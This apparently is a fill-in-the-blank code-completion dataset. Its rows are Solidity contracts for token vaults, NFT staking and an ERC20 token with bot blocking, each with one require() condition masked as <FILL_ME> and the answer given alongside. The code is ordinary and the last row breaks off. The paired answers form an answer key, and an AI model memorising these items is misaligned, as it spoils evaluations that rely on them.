uint256 totalAmount = amount * 10 ** rewardToken.decimals();
require(userData[_msgSender()].lockEndTime <= block.timestamp, "lock period not ended");
require(<FILL_ME>)
userData[_msgSender()].amount -= totalAmount;
if (userData[_msgSender()].amount == 0) {
delete userData[_msgSender()];
}
require(rewardToken.transfer(_msgSender(), totalAmount), "token transfer failed");
emit TokensUnlocked(_msgSender(), totalAmount, block.timestamp);
}
function userInfo(address user) external view returns (uint256, bool) {
}
function setMinDayOfMonthCanUnlock(uint8 _day) external onlyOwner {
}
function setMaxDayOfMonthCanUnlock(uint8 _day) external onlyOwner {
}
function reassignToken(uint256 tokenId, address newReceiver) public onlyOwner {
}
receive() external payable {}
function getUnclaimedToken(address user) external view returns (uint256[] memory) {
}
function withdraw() external payable onlyOwner {
}
function emergencyWithdraw() external onlyOwner {
}
function rescueERC20(address tokenAdd, uint256 amount) external onlyOwner {
}
// Emergency Token Lock Reset
function resetUserData(address _user) external onlyOwner {
}
function rescueUser(address _user) external onlyOwner {
}
function changeClaimFee(uint256 newFeeInWei) external onlyOwner {
}
function clearUnclaimedTokens(address user) external onlyOwner {
}
function setNfts(address _nft_v1, address _nft_v2) external onlyOwner {
}
function setRewardToken(address _rewardToken) external onlyOwner {
}
function setNewLockPeriod(uint256 _newLockInDays) external onlyOwner {
}
function setNewHoldingTime(uint256 _newHoldingTimeInDays) external onlyOwner {
}
function pause() external virtual onlyOwner {
}
function unpause() external virtual onlyOwner {
}
function testTime() external view returns (uint256) {
}
function _dayOfMonth(uint256 _timestamp) internal pure returns (uint256) {
}
// date conversion algorithm from http://aa.usno.navy.mil/faq/docs/JD_Formula.php
function _daysToDate(uint256 _days) internal pure returns (uint256, uint256, uint256) {
}
}
| userData[_msgSender()].amount>=totalAmount,"input exceed locked amount" | 240,215 | userData[_msgSender()].amount>=totalAmount |
"token transfer failed" | pragma solidity ^0.8.0;
contract DogensVault is Ownable, Pausable, ReentrancyGuard {
IERC721A public nft_v1;
IERC721A public nft_v2;
IERC20 public rewardToken;
struct Share {
uint256 amount;
uint256 lockTime;
uint256 lockEndTime;
}
struct Receiver {
address userAddress;
uint256 tokenId;
}
struct LogRescueUserData {
uint timestamp;
uint256 amount;
}
//constants
uint256 constant ONE_DAY = 86400;
int256 private constant OFFSET19700101 = 2440588;
//public variables
uint256 public claimFee = 0.001 ether;
uint256 public timeLock = 30 days;
uint256 public holdingTime = 25 days;
uint256 public totalDepositedAmount;
uint8 public minDayOfMonthCanUnlock = 1;
uint8 public maxDayOfMonthCanUnlock = 5;
//mappings
mapping(uint256 => address) public receiver;
mapping(address => uint256[]) public unclaimedTokens;
mapping(address => Share) public userData;
mapping(address => LogRescueUserData) public userRescue;
event AirDrop(address receiver, uint256 tokenId);
event NftDistributed(address receiver, uint256 tokenId);
event NftClaimed(address receiver, uint256 tokenId);
event TokensLocked(address user, uint256 amount, uint256 start, uint256 end);
event TokensUnlocked(address user, uint256 amount, uint256 time);
event MinDayUpdated(uint8 newDay, uint8 oldDay);
event MaxDayUpdated(uint8 newDay, uint8 oldDay);
event ClaimFeeUpdated(uint256 newFee, uint256 oldFee);
event NftAddressesUpdated(address v1, address v2);
event RewardTokenUpdated(address rewardToken);
event LockPeriodUpdated(uint256 newPeriod, uint256 oldPeriod);
event HoldingTimeUpdated(uint256 newTime, uint256 oldTime);
event RescueUserFunds(address user, uint256 amount, uint256 time);
function airDrop(Receiver[] memory _addressesAndTokenID) external onlyOwner {
}
function distributeTokens(address user, uint256[] memory tokens) external onlyOwner {
}
function claimAll() public payable nonReentrant {
}
function claimExactToken(uint256 tokenId) public payable nonReentrant {
}
function getClaimAllFee(address user) public view returns (uint256) {
}
function lock(uint256 amount) public whenNotPaused nonReentrant {
}
function unlock(uint256 amount) public whenNotPaused nonReentrant {
uint256 _currentDayOfMonth = _dayOfMonth(block.timestamp);
require(
_currentDayOfMonth >= minDayOfMonthCanUnlock &&
_currentDayOfMonth <= maxDayOfMonthCanUnlock,
"outside of allowed lock window"
);
uint256 totalAmount = amount * 10 ** rewardToken.decimals();
require(userData[_msgSender()].lockEndTime <= block.timestamp, "lock period not ended");
require(userData[_msgSender()].amount >= totalAmount, "input exceed locked amount");
userData[_msgSender()].amount -= totalAmount;
if (userData[_msgSender()].amount == 0) {
delete userData[_msgSender()];
}
require(<FILL_ME>)
emit TokensUnlocked(_msgSender(), totalAmount, block.timestamp);
}
function userInfo(address user) external view returns (uint256, bool) {
}
function setMinDayOfMonthCanUnlock(uint8 _day) external onlyOwner {
}
function setMaxDayOfMonthCanUnlock(uint8 _day) external onlyOwner {
}
function reassignToken(uint256 tokenId, address newReceiver) public onlyOwner {
}
receive() external payable {}
function getUnclaimedToken(address user) external view returns (uint256[] memory) {
}
function withdraw() external payable onlyOwner {
}
function emergencyWithdraw() external onlyOwner {
}
function rescueERC20(address tokenAdd, uint256 amount) external onlyOwner {
}
// Emergency Token Lock Reset
function resetUserData(address _user) external onlyOwner {
}
function rescueUser(address _user) external onlyOwner {
}
function changeClaimFee(uint256 newFeeInWei) external onlyOwner {
}
function clearUnclaimedTokens(address user) external onlyOwner {
}
function setNfts(address _nft_v1, address _nft_v2) external onlyOwner {
}
function setRewardToken(address _rewardToken) external onlyOwner {
}
function setNewLockPeriod(uint256 _newLockInDays) external onlyOwner {
}
function setNewHoldingTime(uint256 _newHoldingTimeInDays) external onlyOwner {
}
function pause() external virtual onlyOwner {
}
function unpause() external virtual onlyOwner {
}
function testTime() external view returns (uint256) {
}
function _dayOfMonth(uint256 _timestamp) internal pure returns (uint256) {
}
// date conversion algorithm from http://aa.usno.navy.mil/faq/docs/JD_Formula.php
function _daysToDate(uint256 _days) internal pure returns (uint256, uint256, uint256) {
}
}
| rewardToken.transfer(_msgSender(),totalAmount),"token transfer failed" | 240,215 | rewardToken.transfer(_msgSender(),totalAmount) |
"no such token id on contract" | pragma solidity ^0.8.0;
contract DogensVault is Ownable, Pausable, ReentrancyGuard {
IERC721A public nft_v1;
IERC721A public nft_v2;
IERC20 public rewardToken;
struct Share {
uint256 amount;
uint256 lockTime;
uint256 lockEndTime;
}
struct Receiver {
address userAddress;
uint256 tokenId;
}
struct LogRescueUserData {
uint timestamp;
uint256 amount;
}
//constants
uint256 constant ONE_DAY = 86400;
int256 private constant OFFSET19700101 = 2440588;
//public variables
uint256 public claimFee = 0.001 ether;
uint256 public timeLock = 30 days;
uint256 public holdingTime = 25 days;
uint256 public totalDepositedAmount;
uint8 public minDayOfMonthCanUnlock = 1;
uint8 public maxDayOfMonthCanUnlock = 5;
//mappings
mapping(uint256 => address) public receiver;
mapping(address => uint256[]) public unclaimedTokens;
mapping(address => Share) public userData;
mapping(address => LogRescueUserData) public userRescue;
event AirDrop(address receiver, uint256 tokenId);
event NftDistributed(address receiver, uint256 tokenId);
event NftClaimed(address receiver, uint256 tokenId);
event TokensLocked(address user, uint256 amount, uint256 start, uint256 end);
event TokensUnlocked(address user, uint256 amount, uint256 time);
event MinDayUpdated(uint8 newDay, uint8 oldDay);
event MaxDayUpdated(uint8 newDay, uint8 oldDay);
event ClaimFeeUpdated(uint256 newFee, uint256 oldFee);
event NftAddressesUpdated(address v1, address v2);
event RewardTokenUpdated(address rewardToken);
event LockPeriodUpdated(uint256 newPeriod, uint256 oldPeriod);
event HoldingTimeUpdated(uint256 newTime, uint256 oldTime);
event RescueUserFunds(address user, uint256 amount, uint256 time);
function airDrop(Receiver[] memory _addressesAndTokenID) external onlyOwner {
}
function distributeTokens(address user, uint256[] memory tokens) external onlyOwner {
}
function claimAll() public payable nonReentrant {
}
function claimExactToken(uint256 tokenId) public payable nonReentrant {
}
function getClaimAllFee(address user) public view returns (uint256) {
}
function lock(uint256 amount) public whenNotPaused nonReentrant {
}
function unlock(uint256 amount) public whenNotPaused nonReentrant {
}
function userInfo(address user) external view returns (uint256, bool) {
}
function setMinDayOfMonthCanUnlock(uint8 _day) external onlyOwner {
}
function setMaxDayOfMonthCanUnlock(uint8 _day) external onlyOwner {
}
function reassignToken(uint256 tokenId, address newReceiver) public onlyOwner {
require(<FILL_ME>)
address oldReceiver = receiver[tokenId];
receiver[tokenId] = newReceiver;
unclaimedTokens[newReceiver].push(tokenId);
for (uint i = 0; i < unclaimedTokens[oldReceiver].length; i++) {
uint256 token = unclaimedTokens[oldReceiver][i];
if (token == tokenId) {
delete unclaimedTokens[oldReceiver][i];
}
}
emit NftDistributed(newReceiver, tokenId);
}
receive() external payable {}
function getUnclaimedToken(address user) external view returns (uint256[] memory) {
}
function withdraw() external payable onlyOwner {
}
function emergencyWithdraw() external onlyOwner {
}
function rescueERC20(address tokenAdd, uint256 amount) external onlyOwner {
}
// Emergency Token Lock Reset
function resetUserData(address _user) external onlyOwner {
}
function rescueUser(address _user) external onlyOwner {
}
function changeClaimFee(uint256 newFeeInWei) external onlyOwner {
}
function clearUnclaimedTokens(address user) external onlyOwner {
}
function setNfts(address _nft_v1, address _nft_v2) external onlyOwner {
}
function setRewardToken(address _rewardToken) external onlyOwner {
}
function setNewLockPeriod(uint256 _newLockInDays) external onlyOwner {
}
function setNewHoldingTime(uint256 _newHoldingTimeInDays) external onlyOwner {
}
function pause() external virtual onlyOwner {
}
function unpause() external virtual onlyOwner {
}
function testTime() external view returns (uint256) {
}
function _dayOfMonth(uint256 _timestamp) internal pure returns (uint256) {
}
// date conversion algorithm from http://aa.usno.navy.mil/faq/docs/JD_Formula.php
function _daysToDate(uint256 _days) internal pure returns (uint256, uint256, uint256) {
}
}
| nft_v2.ownerOf(tokenId)==address(this),"no such token id on contract" | 240,215 | nft_v2.ownerOf(tokenId)==address(this) |
"transfer failed" | pragma solidity ^0.8.0;
contract DogensVault is Ownable, Pausable, ReentrancyGuard {
IERC721A public nft_v1;
IERC721A public nft_v2;
IERC20 public rewardToken;
struct Share {
uint256 amount;
uint256 lockTime;
uint256 lockEndTime;
}
struct Receiver {
address userAddress;
uint256 tokenId;
}
struct LogRescueUserData {
uint timestamp;
uint256 amount;
}
//constants
uint256 constant ONE_DAY = 86400;
int256 private constant OFFSET19700101 = 2440588;
//public variables
uint256 public claimFee = 0.001 ether;
uint256 public timeLock = 30 days;
uint256 public holdingTime = 25 days;
uint256 public totalDepositedAmount;
uint8 public minDayOfMonthCanUnlock = 1;
uint8 public maxDayOfMonthCanUnlock = 5;
//mappings
mapping(uint256 => address) public receiver;
mapping(address => uint256[]) public unclaimedTokens;
mapping(address => Share) public userData;
mapping(address => LogRescueUserData) public userRescue;
event AirDrop(address receiver, uint256 tokenId);
event NftDistributed(address receiver, uint256 tokenId);
event NftClaimed(address receiver, uint256 tokenId);
event TokensLocked(address user, uint256 amount, uint256 start, uint256 end);
event TokensUnlocked(address user, uint256 amount, uint256 time);
event MinDayUpdated(uint8 newDay, uint8 oldDay);
event MaxDayUpdated(uint8 newDay, uint8 oldDay);
event ClaimFeeUpdated(uint256 newFee, uint256 oldFee);
event NftAddressesUpdated(address v1, address v2);
event RewardTokenUpdated(address rewardToken);
event LockPeriodUpdated(uint256 newPeriod, uint256 oldPeriod);
event HoldingTimeUpdated(uint256 newTime, uint256 oldTime);
event RescueUserFunds(address user, uint256 amount, uint256 time);
function airDrop(Receiver[] memory _addressesAndTokenID) external onlyOwner {
}
function distributeTokens(address user, uint256[] memory tokens) external onlyOwner {
}
function claimAll() public payable nonReentrant {
}
function claimExactToken(uint256 tokenId) public payable nonReentrant {
}
function getClaimAllFee(address user) public view returns (uint256) {
}
function lock(uint256 amount) public whenNotPaused nonReentrant {
}
function unlock(uint256 amount) public whenNotPaused nonReentrant {
}
function userInfo(address user) external view returns (uint256, bool) {
}
function setMinDayOfMonthCanUnlock(uint8 _day) external onlyOwner {
}
function setMaxDayOfMonthCanUnlock(uint8 _day) external onlyOwner {
}
function reassignToken(uint256 tokenId, address newReceiver) public onlyOwner {
}
receive() external payable {}
function getUnclaimedToken(address user) external view returns (uint256[] memory) {
}
function withdraw() external payable onlyOwner {
}
function emergencyWithdraw() external onlyOwner {
uint256 balance = rewardToken.balanceOf(address(this));
require(<FILL_ME>)
}
function rescueERC20(address tokenAdd, uint256 amount) external onlyOwner {
}
// Emergency Token Lock Reset
function resetUserData(address _user) external onlyOwner {
}
function rescueUser(address _user) external onlyOwner {
}
function changeClaimFee(uint256 newFeeInWei) external onlyOwner {
}
function clearUnclaimedTokens(address user) external onlyOwner {
}
function setNfts(address _nft_v1, address _nft_v2) external onlyOwner {
}
function setRewardToken(address _rewardToken) external onlyOwner {
}
function setNewLockPeriod(uint256 _newLockInDays) external onlyOwner {
}
function setNewHoldingTime(uint256 _newHoldingTimeInDays) external onlyOwner {
}
function pause() external virtual onlyOwner {
}
function unpause() external virtual onlyOwner {
}
function testTime() external view returns (uint256) {
}
function _dayOfMonth(uint256 _timestamp) internal pure returns (uint256) {
}
// date conversion algorithm from http://aa.usno.navy.mil/faq/docs/JD_Formula.php
function _daysToDate(uint256 _days) internal pure returns (uint256, uint256, uint256) {
}
}
| rewardToken.transfer(owner(),balance),"transfer failed" | 240,215 | rewardToken.transfer(owner(),balance) |
'Insufficient ERC20 balance' | pragma solidity ^0.8.0;
contract DogensVault is Ownable, Pausable, ReentrancyGuard {
IERC721A public nft_v1;
IERC721A public nft_v2;
IERC20 public rewardToken;
struct Share {
uint256 amount;
uint256 lockTime;
uint256 lockEndTime;
}
struct Receiver {
address userAddress;
uint256 tokenId;
}
struct LogRescueUserData {
uint timestamp;
uint256 amount;
}
//constants
uint256 constant ONE_DAY = 86400;
int256 private constant OFFSET19700101 = 2440588;
//public variables
uint256 public claimFee = 0.001 ether;
uint256 public timeLock = 30 days;
uint256 public holdingTime = 25 days;
uint256 public totalDepositedAmount;
uint8 public minDayOfMonthCanUnlock = 1;
uint8 public maxDayOfMonthCanUnlock = 5;
//mappings
mapping(uint256 => address) public receiver;
mapping(address => uint256[]) public unclaimedTokens;
mapping(address => Share) public userData;
mapping(address => LogRescueUserData) public userRescue;
event AirDrop(address receiver, uint256 tokenId);
event NftDistributed(address receiver, uint256 tokenId);
event NftClaimed(address receiver, uint256 tokenId);
event TokensLocked(address user, uint256 amount, uint256 start, uint256 end);
event TokensUnlocked(address user, uint256 amount, uint256 time);
event MinDayUpdated(uint8 newDay, uint8 oldDay);
event MaxDayUpdated(uint8 newDay, uint8 oldDay);
event ClaimFeeUpdated(uint256 newFee, uint256 oldFee);
event NftAddressesUpdated(address v1, address v2);
event RewardTokenUpdated(address rewardToken);
event LockPeriodUpdated(uint256 newPeriod, uint256 oldPeriod);
event HoldingTimeUpdated(uint256 newTime, uint256 oldTime);
event RescueUserFunds(address user, uint256 amount, uint256 time);
function airDrop(Receiver[] memory _addressesAndTokenID) external onlyOwner {
}
function distributeTokens(address user, uint256[] memory tokens) external onlyOwner {
}
function claimAll() public payable nonReentrant {
}
function claimExactToken(uint256 tokenId) public payable nonReentrant {
}
function getClaimAllFee(address user) public view returns (uint256) {
}
function lock(uint256 amount) public whenNotPaused nonReentrant {
}
function unlock(uint256 amount) public whenNotPaused nonReentrant {
}
function userInfo(address user) external view returns (uint256, bool) {
}
function setMinDayOfMonthCanUnlock(uint8 _day) external onlyOwner {
}
function setMaxDayOfMonthCanUnlock(uint8 _day) external onlyOwner {
}
function reassignToken(uint256 tokenId, address newReceiver) public onlyOwner {
}
receive() external payable {}
function getUnclaimedToken(address user) external view returns (uint256[] memory) {
}
function withdraw() external payable onlyOwner {
}
function emergencyWithdraw() external onlyOwner {
}
function rescueERC20(address tokenAdd, uint256 amount) external onlyOwner {
}
// Emergency Token Lock Reset
function resetUserData(address _user) external onlyOwner {
}
function rescueUser(address _user) external onlyOwner {
require(_user != address(0), "zero address passed");
uint256 _currentAmount = userData[_user].amount;
require(_currentAmount > 0, "no tokens locked");
delete userData[_user];
userRescue[_user] = LogRescueUserData(block.timestamp, _currentAmount);
require(<FILL_ME>)
require(rewardToken.transfer(_user, _currentAmount), "token transfer failed");
emit RescueUserFunds(_user, _currentAmount, block.timestamp);
}
function changeClaimFee(uint256 newFeeInWei) external onlyOwner {
}
function clearUnclaimedTokens(address user) external onlyOwner {
}
function setNfts(address _nft_v1, address _nft_v2) external onlyOwner {
}
function setRewardToken(address _rewardToken) external onlyOwner {
}
function setNewLockPeriod(uint256 _newLockInDays) external onlyOwner {
}
function setNewHoldingTime(uint256 _newHoldingTimeInDays) external onlyOwner {
}
function pause() external virtual onlyOwner {
}
function unpause() external virtual onlyOwner {
}
function testTime() external view returns (uint256) {
}
function _dayOfMonth(uint256 _timestamp) internal pure returns (uint256) {
}
// date conversion algorithm from http://aa.usno.navy.mil/faq/docs/JD_Formula.php
function _daysToDate(uint256 _days) internal pure returns (uint256, uint256, uint256) {
}
}
| rewardToken.balanceOf(address(this))>=_currentAmount,'Insufficient ERC20 balance' | 240,215 | rewardToken.balanceOf(address(this))>=_currentAmount |
"token transfer failed" | pragma solidity ^0.8.0;
contract DogensVault is Ownable, Pausable, ReentrancyGuard {
IERC721A public nft_v1;
IERC721A public nft_v2;
IERC20 public rewardToken;
struct Share {
uint256 amount;
uint256 lockTime;
uint256 lockEndTime;
}
struct Receiver {
address userAddress;
uint256 tokenId;
}
struct LogRescueUserData {
uint timestamp;
uint256 amount;
}
//constants
uint256 constant ONE_DAY = 86400;
int256 private constant OFFSET19700101 = 2440588;
//public variables
uint256 public claimFee = 0.001 ether;
uint256 public timeLock = 30 days;
uint256 public holdingTime = 25 days;
uint256 public totalDepositedAmount;
uint8 public minDayOfMonthCanUnlock = 1;
uint8 public maxDayOfMonthCanUnlock = 5;
//mappings
mapping(uint256 => address) public receiver;
mapping(address => uint256[]) public unclaimedTokens;
mapping(address => Share) public userData;
mapping(address => LogRescueUserData) public userRescue;
event AirDrop(address receiver, uint256 tokenId);
event NftDistributed(address receiver, uint256 tokenId);
event NftClaimed(address receiver, uint256 tokenId);
event TokensLocked(address user, uint256 amount, uint256 start, uint256 end);
event TokensUnlocked(address user, uint256 amount, uint256 time);
event MinDayUpdated(uint8 newDay, uint8 oldDay);
event MaxDayUpdated(uint8 newDay, uint8 oldDay);
event ClaimFeeUpdated(uint256 newFee, uint256 oldFee);
event NftAddressesUpdated(address v1, address v2);
event RewardTokenUpdated(address rewardToken);
event LockPeriodUpdated(uint256 newPeriod, uint256 oldPeriod);
event HoldingTimeUpdated(uint256 newTime, uint256 oldTime);
event RescueUserFunds(address user, uint256 amount, uint256 time);
function airDrop(Receiver[] memory _addressesAndTokenID) external onlyOwner {
}
function distributeTokens(address user, uint256[] memory tokens) external onlyOwner {
}
function claimAll() public payable nonReentrant {
}
function claimExactToken(uint256 tokenId) public payable nonReentrant {
}
function getClaimAllFee(address user) public view returns (uint256) {
}
function lock(uint256 amount) public whenNotPaused nonReentrant {
}
function unlock(uint256 amount) public whenNotPaused nonReentrant {
}
function userInfo(address user) external view returns (uint256, bool) {
}
function setMinDayOfMonthCanUnlock(uint8 _day) external onlyOwner {
}
function setMaxDayOfMonthCanUnlock(uint8 _day) external onlyOwner {
}
function reassignToken(uint256 tokenId, address newReceiver) public onlyOwner {
}
receive() external payable {}
function getUnclaimedToken(address user) external view returns (uint256[] memory) {
}
function withdraw() external payable onlyOwner {
}
function emergencyWithdraw() external onlyOwner {
}
function rescueERC20(address tokenAdd, uint256 amount) external onlyOwner {
}
// Emergency Token Lock Reset
function resetUserData(address _user) external onlyOwner {
}
function rescueUser(address _user) external onlyOwner {
require(_user != address(0), "zero address passed");
uint256 _currentAmount = userData[_user].amount;
require(_currentAmount > 0, "no tokens locked");
delete userData[_user];
userRescue[_user] = LogRescueUserData(block.timestamp, _currentAmount);
require(
rewardToken.balanceOf(address(this)) >= _currentAmount,
'Insufficient ERC20 balance'
);
require(<FILL_ME>)
emit RescueUserFunds(_user, _currentAmount, block.timestamp);
}
function changeClaimFee(uint256 newFeeInWei) external onlyOwner {
}
function clearUnclaimedTokens(address user) external onlyOwner {
}
function setNfts(address _nft_v1, address _nft_v2) external onlyOwner {
}
function setRewardToken(address _rewardToken) external onlyOwner {
}
function setNewLockPeriod(uint256 _newLockInDays) external onlyOwner {
}
function setNewHoldingTime(uint256 _newHoldingTimeInDays) external onlyOwner {
}
function pause() external virtual onlyOwner {
}
function unpause() external virtual onlyOwner {
}
function testTime() external view returns (uint256) {
}
function _dayOfMonth(uint256 _timestamp) internal pure returns (uint256) {
}
// date conversion algorithm from http://aa.usno.navy.mil/faq/docs/JD_Formula.php
function _daysToDate(uint256 _days) internal pure returns (uint256, uint256, uint256) {
}
}
| rewardToken.transfer(_user,_currentAmount),"token transfer failed" | 240,215 | rewardToken.transfer(_user,_currentAmount) |
"You can't unstake" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
contract DobieStaker is ERC721Holder, Ownable {
IERC721 public nft;
mapping(uint256 => address) public tokenOwnerOf;
mapping(uint256 => uint256) public tokenStakedAt;
mapping(address => uint256[]) public tokensStakedbyAddress;
constructor(address _nft) {
}
function stake(uint256 tokenId) external {
}
function calculateUserLevel(address _userAddress) private view returns (uint256) {
}
function displayLevel() public view returns (uint256) {
}
function adminDisplayLevel(address _userAddress) public onlyOwner view returns (uint256) {
}
function unstakeAll() external {
require(<FILL_ME>)
for(uint256 i = 0; i < tokensStakedbyAddress[msg.sender].length; i++) {
nft.transferFrom(address(this), msg.sender, tokensStakedbyAddress[msg.sender][i]);
delete tokenOwnerOf[tokensStakedbyAddress[msg.sender][i]];
delete tokenStakedAt[tokensStakedbyAddress[msg.sender][i]];
}
delete tokensStakedbyAddress[msg.sender];
}
}
| tokensStakedbyAddress[msg.sender].length>0,"You can't unstake" | 240,263 | tokensStakedbyAddress[msg.sender].length>0 |
"Bots cannot transfer" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import {ERC20Snapshot} from "@openzeppelin/contracts/token/ERC20/extensions/ERC20Snapshot.sol";
contract Send is ERC20("Send Token", "send"), ERC20Snapshot {
using SafeERC20 for IERC20;
/***********************
+ Constructor +
***********************/
constructor(
address multisig,
address manager,
address[] memory knownBots,
uint256 initialMaxBuy
) {
}
/***********************
+ Globals +
***********************/
uint256 public _totalSupply = 100000000000;
uint256 public _maxBuy;
address public _manager;
address public _multisig;
bool public _botDefence;
bool public _botDefenceActivatedOnce;
mapping(address => bool) public _knownBots;
function decimals() public view virtual override returns (uint8) {
}
/***********************
+ Distribution logic +
***********************/
function activateBotDefenceOnce() external onlyManager {
}
function deactivateBotDefence() external onlyManager {
}
function removeBots(address[] calldata _bots) external onlyManager {
}
function modifyMaxBuy(uint256 _newMaxBuy) external onlyManager {
}
// Hook function to track balances for distributions and protect against bots
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal override(ERC20, ERC20Snapshot) {
// If bot defence is enabled, check if the transfer is from a known bot
// Manager and multisig are exempt from bot defence
if (
_botDefence &&
msg.sender != _manager &&
msg.sender != _multisig &&
// allow the position manager to transfer
msg.sender != 0xC36442b4a4522E871399CD717aBDD847Ab11FE88
) {
require(<FILL_ME>)
require(
amount <= _maxBuy,
"Cannot transfer more than the initial max buy"
);
}
ERC20Snapshot._beforeTokenTransfer(from, to, amount);
}
function createSnapshot() external onlyManager returns (uint256) {
}
function getLatestSnapshot() external view returns (uint256) {
}
/***********************
+ Management +
***********************/
modifier onlyManager() {
}
function changeOwner(address _newManager) external onlyManager {
}
function withdraw(
uint256 _amount,
address payable _to
) external onlyManager {
}
function transferToken(
address _tokenContract,
address _transferTo,
uint256 _value
) external onlyManager {
}
function transferTokenFrom(
address _tokenContract,
address _transferFrom,
address _transferTo,
uint256 _value
) external onlyManager {
}
function approveToken(
address _tokenContract,
address _spender,
uint256 _value
) external onlyManager {
}
}
| !_knownBots[from]&&!_knownBots[to],"Bots cannot transfer" | 240,465 | !_knownBots[from]&&!_knownBots[to] |
"Invalid address" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import {UpdatableOperatorFilterer} from "operator-filter-registry/src/UpdatableOperatorFilterer.sol";
import {RevokableDefaultOperatorFilterer} from "operator-filter-registry/src/RevokableDefaultOperatorFilterer.sol";
contract Maschine is
ERC721,
ERC2981,
Ownable,
RevokableDefaultOperatorFilterer,
Pausable
{
uint16 public currentTokenId = 0;
uint16 public tokenIdMax;
string public baseURIValue;
address public payoutAddress;
address public minterContractAddress;
uint96 public constant royaltyFee = 850; // 8.5%
constructor(
address _payoutAddress,
address _minterContractAddress,
uint16 _tokenIdMax,
string memory _baseURIValue
) ERC721("Maschine", unicode"✇") {
}
function owner()
public
view
virtual
override(Ownable, UpdatableOperatorFilterer)
returns (address)
{
}
function unpause() external onlyOwner {
}
function pause() external onlyOwner {
}
function supportsInterface(
bytes4 interfaceId
) public view virtual override(ERC2981, ERC721) returns (bool) {
}
function endMint() external onlyOwner {
}
function mint(address recipient) external whenNotPaused {
}
function tokenURI(
uint256 tokenId
) public view override returns (string memory) {
}
function setPayoutAddress(
address payable newPayoutAddress
) external onlyOwner {
require(<FILL_ME>)
payoutAddress = newPayoutAddress;
_setDefaultRoyalty(payoutAddress, royaltyFee);
}
function setMinterAddress(address newMinter) external onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function setBaseURI(string memory newBaseURI) external onlyOwner {
}
function totalSupply() public view returns (uint256) {
}
function setApprovalForAll(
address operator,
bool approved
) public override onlyAllowedOperatorApproval(operator) {
}
function approve(
address operator,
uint256 tokenId
) public override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public override onlyAllowedOperator(from) {
}
}
| address(0)!=newPayoutAddress,"Invalid address" | 240,466 | address(0)!=newPayoutAddress |
"Invalid address" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import {UpdatableOperatorFilterer} from "operator-filter-registry/src/UpdatableOperatorFilterer.sol";
import {RevokableDefaultOperatorFilterer} from "operator-filter-registry/src/RevokableDefaultOperatorFilterer.sol";
contract Maschine is
ERC721,
ERC2981,
Ownable,
RevokableDefaultOperatorFilterer,
Pausable
{
uint16 public currentTokenId = 0;
uint16 public tokenIdMax;
string public baseURIValue;
address public payoutAddress;
address public minterContractAddress;
uint96 public constant royaltyFee = 850; // 8.5%
constructor(
address _payoutAddress,
address _minterContractAddress,
uint16 _tokenIdMax,
string memory _baseURIValue
) ERC721("Maschine", unicode"✇") {
}
function owner()
public
view
virtual
override(Ownable, UpdatableOperatorFilterer)
returns (address)
{
}
function unpause() external onlyOwner {
}
function pause() external onlyOwner {
}
function supportsInterface(
bytes4 interfaceId
) public view virtual override(ERC2981, ERC721) returns (bool) {
}
function endMint() external onlyOwner {
}
function mint(address recipient) external whenNotPaused {
}
function tokenURI(
uint256 tokenId
) public view override returns (string memory) {
}
function setPayoutAddress(
address payable newPayoutAddress
) external onlyOwner {
}
function setMinterAddress(address newMinter) external onlyOwner {
require(<FILL_ME>)
minterContractAddress = newMinter;
}
function _baseURI() internal view override returns (string memory) {
}
function setBaseURI(string memory newBaseURI) external onlyOwner {
}
function totalSupply() public view returns (uint256) {
}
function setApprovalForAll(
address operator,
bool approved
) public override onlyAllowedOperatorApproval(operator) {
}
function approve(
address operator,
uint256 tokenId
) public override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public override onlyAllowedOperator(from) {
}
}
| address(0)!=newMinter,"Invalid address" | 240,466 | address(0)!=newMinter |
"TokenKeeper: BALANCE_CHECK_FAILED" | // SPDX-License-Identifier: --DG--
pragma solidity =0.8.15;
contract TokenKeeper {
address public tokenKeeper;
uint256 public totalRequired;
uint256 immutable minTimeFrame;
address immutable tokenAddress;
struct KeeperInfo {
uint256 keeperRate;
uint256 keeperFrom;
uint256 keeperTill;
uint256 keeperBalance;
uint256 keeperPayouts;
}
mapping(address => KeeperInfo) public keeperList;
modifier onlyTokenKeeper() {
}
event recipientCreated(
address indexed recipient,
uint256 timeLock,
uint256 timeReward,
uint256 instantReward,
uint256 timestamp
);
event tokensScraped(
address indexed scraper,
uint256 scrapedAmount,
uint256 timestamp
);
constructor(
address _tokenKeeper,
uint256 _minTimeFrame,
address _tokenAddress
) {
}
function allocateTokensBulk(
address[] memory _recipients,
uint256[] memory _tokensOpened,
uint256[] memory _tokensLocked,
uint256[] memory _timeFrame
)
external
onlyTokenKeeper
{
}
function allocateTokens(
address _recipient,
uint256 _tokensOpened,
uint256 _tokensLocked,
uint256 _timeFrame
)
public
onlyTokenKeeper
{
}
